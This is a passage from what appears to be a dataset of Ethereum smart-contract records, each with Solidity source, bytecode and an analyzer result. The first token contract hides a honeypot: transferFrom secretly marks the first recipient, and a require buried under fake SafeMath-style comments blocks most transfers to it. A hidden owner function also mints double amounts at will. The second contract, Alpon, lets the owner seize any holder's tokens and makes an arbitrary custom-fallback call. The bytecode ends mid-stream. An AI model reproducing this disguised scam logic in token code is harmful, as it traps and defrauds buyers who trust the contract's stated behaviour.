* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | 0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c45780633ebcda62146101e457806370a082311461020457005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610b35565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610ba2565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610bce565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610ba2565b610581565b3480156101f057600080fd5b506100dc6101ff366004610ba2565b6105c5565b34801561021057600080fd5b5061016a61021f366004610c0f565b6001600160a01b031660009081526009602052604090205490565b34801561024657600080fd5b506100f361069d565b34801561025b57600080fd5b5061014561026a366004610ba2565b6106aa565b34801561027b57600080fd5b5061014561028a366004610ba2565b6106e0565b34801561029b57600080fd5b5061016a6102aa366004610c2c565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610c65565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610c65565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107cb565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610876565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610896565b6001600160a01b0384166000908152600960205260409020546104a69083610876565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610876565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610974565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610974565b61098f565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61064d8282610ab3565b6001600160a01b0382166000908152600960205260409020546106709082610876565b6001600160a01b0383166000908152600960205260409020556005546106969082610876565b6005555050565b600180546102e290610c65565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610876565b6004546000906001600160a01b038481166101009092041614156107345760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161063a565b3360009081526009602052604090205461074e9083610876565b33600090815260096020526040808220929092556001600160a01b0385168152205461077a9083610974565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081957600080fd5b505afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190610ca0565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088557600080fd5b61088f8284610cd3565b9392505050565b6004546001600160a01b03828116610100909204161415806108e257506007546001600160a01b0383811691161480156108e257506004546001600160a01b0382811661010090920416145b8061092457506004546001600160a01b038281166101009092041614801561092457506006546001600160a01b03831660009081526009602052604090205411155b6109705760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161063a565b5050565b60006109808284610cea565b9050828110156103e457600080fd5b6001600160a01b0383166109f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610a525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae5610adc826002610d02565b60055490610974565b600555610b15610af6826002610d02565b6001600160a01b03841660009081526009602052604090205490610974565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b81811015610b6257858101830151858201604001528201610b46565b81811115610b74576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b9f57600080fd5b50565b60008060408385031215610bb557600080fd5b8235610bc081610b8a565b946020939093013593505050565b600080600060608486031215610be357600080fd5b8335610bee81610b8a565b92506020840135610bfe81610b8a565b929592945050506040919091013590565b600060208284031215610c2157600080fd5b813561088f81610b8a565b60008060408385031215610c3f57600080fd5b8235610c4a81610b8a565b91506020830135610c5a81610b8a565b809150509250929050565b600181811c90821680610c7957607f821691505b60208210811415610c9a57634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cb257600080fd5b815161088f81610b8a565b634e487b7160e01b600052601160045260246000fd5b600082821015610ce557610ce5610cbd565b500390565b60008219821115610cfd57610cfd610cbd565b500190565b6000816000190483118215151615610d1c57610d1c610cbd565b50029056fea26469706673582212201468404e825f01f2ca1749a6a74765aa85a29abb5d33c1faad057ffc3adb973764736f6c63430008080033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,953 |
0xce9ecc71e134a4d2d36a8258082eeab6d1318da7 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title Alpon
* @author Alpon
* @dev Alpon is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract Alpon is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Alpon";
string public symbol = "ALPN";
uint8 public decimals = 8;
uint256 public initialSupply = 10e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function Alpon() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount.
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
} | 0x6060604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610181578063095ea7b31461020b57806318160ddd1461022d57806323b872dd14610252578063313ce5671461027a578063378dc3dc146102a357806340c10f19146102b65780634f25eced146102d857806364ddc605146102eb57806370a082311461037a5780637d64bcb4146103995780638da5cb5b146103ac57806394594625146103db57806395d89b411461042c5780639dc29fac1461043f578063a8f11eb914610150578063a9059cbb14610461578063b414d4b614610483578063be45fd62146104a2578063c341b9f614610507578063cbbe974b1461055a578063d39b1d4814610579578063dd62ed3e1461058f578063dd924594146105b4578063f0dc417114610643578063f2fde38b146106d2578063f6368f8a146106f1575b610158610798565b005b341561016557600080fd5b61016d61090d565b604051901515815260200160405180910390f35b341561018c57600080fd5b610194610916565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61016d600160a060020a03600435166024356109be565b341561023857600080fd5b610240610a2a565b60405190815260200160405180910390f35b341561025d57600080fd5b61016d600160a060020a0360043581169060243516604435610a30565b341561028557600080fd5b61028d610c3f565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b610240610c48565b34156102c157600080fd5b61016d600160a060020a0360043516602435610c4e565b34156102e357600080fd5b610240610d50565b34156102f657600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d5695505050505050565b341561038557600080fd5b610240600160a060020a0360043516610eb0565b34156103a457600080fd5b61016d610ecb565b34156103b757600080fd5b6103bf610f38565b604051600160a060020a03909116815260200160405180910390f35b34156103e657600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f4792505050565b341561043757600080fd5b6101946111d5565b341561044a57600080fd5b610158600160a060020a0360043516602435611248565b341561046c57600080fd5b61016d600160a060020a0360043516602435611330565b341561048e57600080fd5b61016d600160a060020a036004351661140b565b34156104ad57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061142095505050505050565b341561051257600080fd5b61015860046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114eb9050565b341561056557600080fd5b610240600160a060020a03600435166115ed565b341561058457600080fd5b6101586004356115ff565b341561059a57600080fd5b610240600160a060020a036004358116906024351661161f565b34156105bf57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061164a95505050505050565b341561064e57600080fd5b61016d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118fc95505050505050565b34156106dd57600080fd5b610158600160a060020a0360043516611bca565b34156106fc57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c6595505050505050565b60006007541180156107c65750600754600154600160a060020a031660009081526009602052604090205410155b80156107eb5750600160a060020a0333166000908152600b602052604090205460ff16155b801561080e5750600160a060020a0333166000908152600c602052604090205442115b151561081957600080fd5b600034111561085657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561085657600080fd5b600754600154600160a060020a03166000908152600960205260409020546108839163ffffffff611fbd16565b600154600160a060020a039081166000908152600960205260408082209390935560075433909216815291909120546108c19163ffffffff611fcf16565b600160a060020a033381166000818152600960205260409081902093909355600154600754919392169160008051602061240a83398151915291905190815260200160405180910390a3565b60085460ff1681565b61091e6123f7565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b820191906000526020600020905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b6000600160a060020a03831615801590610a4a5750600082115b8015610a6f5750600160a060020a038416600090815260096020526040902054829010155b8015610aa25750600160a060020a038085166000908152600a602090815260408083203390941683529290522054829010155b8015610ac75750600160a060020a0384166000908152600b602052604090205460ff16155b8015610aec5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b0f5750600160a060020a0384166000908152600c602052604090205442115b8015610b325750600160a060020a0383166000908152600c602052604090205442115b1515610b3d57600080fd5b600160a060020a038416600090815260096020526040902054610b66908363ffffffff611fbd16565b600160a060020a038086166000908152600960205260408082209390935590851681522054610b9b908363ffffffff611fcf16565b600160a060020a038085166000908152600960209081526040808320949094558783168252600a8152838220339093168252919091522054610be3908363ffffffff611fbd16565b600160a060020a038086166000818152600a60209081526040808320338616845290915290819020939093559085169160008051602061240a8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610c6c57600080fd5b60085460ff1615610c7c57600080fd5b60008211610c8957600080fd5b600654610c9c908363ffffffff611fcf16565b600655600160a060020a038316600090815260096020526040902054610cc8908363ffffffff611fcf16565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061240a8339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610d7457600080fd5b60008351118015610d86575081518351145b1515610d9157600080fd5b5060005b8251811015610eab57818181518110610daa57fe5b90602001906020020151600c6000858481518110610dc457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610df257600080fd5b818181518110610dfe57fe5b90602001906020020151600c6000858481518110610e1857fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e4857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e8857fe5b9060200190602002015160405190815260200160405180910390a2600101610d95565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610ee957600080fd5b60085460ff1615610ef957600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f5c575060008551115b8015610f815750600160a060020a0333166000908152600b602052604090205460ff16155b8015610fa45750600160a060020a0333166000908152600c602052604090205442115b1515610faf57600080fd5b610fc3846305f5e10063ffffffff611fde16565b9350610fd78551859063ffffffff611fde16565b600160a060020a0333166000908152600960205260409020549092508290101561100057600080fd5b5060005b84518110156111885784818151811061101957fe5b90602001906020020151600160a060020a03161580159061106e5750600b600086838151811061104557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110b35750600c600086838151811061108557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110be57600080fd5b61110284600960008885815181106110d257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fcf16565b6009600087848151811061111257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061114257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3600101611004565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fbd16565b33600160a060020a0316600090815260096020526040902055506001949350505050565b6111dd6123f7565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b60015433600160a060020a0390811691161461126357600080fd5b60008111801561128c5750600160a060020a038216600090815260096020526040902054819010155b151561129757600080fd5b600160a060020a0382166000908152600960205260409020546112c0908263ffffffff611fbd16565b600160a060020a0383166000908152600960205260409020556006546112ec908263ffffffff611fbd16565b600655600160a060020a0382167fcc16f5dbb4873280815c